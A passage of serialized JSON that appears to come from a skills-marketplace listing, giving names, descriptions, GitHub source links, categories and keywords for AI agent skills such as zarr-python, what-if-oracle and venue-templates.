t":44},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[182,183,184,185],{"categoryNo":136,"categoryName":137,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":139,"categoryName":140,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":145,"categoryName":146,"taxonomyType":147,"taxonomyTypeDesc":148},[130,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168],{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":193,"publishedAt":44},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[194,195,196,197,198,199,200,201,202,203,204,205,206,207,208],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":210,"name":211,"nameZh":6,"description":212,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":213,"categories":214,"keywords":218,"publishedAt":44},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[215],{"categoryNo":216,"categoryName":217,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[219,220,221,222,223,224,225,226,227,228,229,161,162,230,231,232,233,234,235,236],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":132,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":253,"publishedAt":44},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[243,246,249,250],{"categoryNo":244,"categoryName":245,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":247,"categoryName":248,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":216,"categoryName":217,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":251,"categoryName":252,"taxonomyType":147,"taxonomyTypeDesc":148},"01JBSEEDCAT000000000000036","内容创作者",[254,255,256,257,258,259,260,261,158,262,161,162,163,263,264,265,266,267,208,268],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]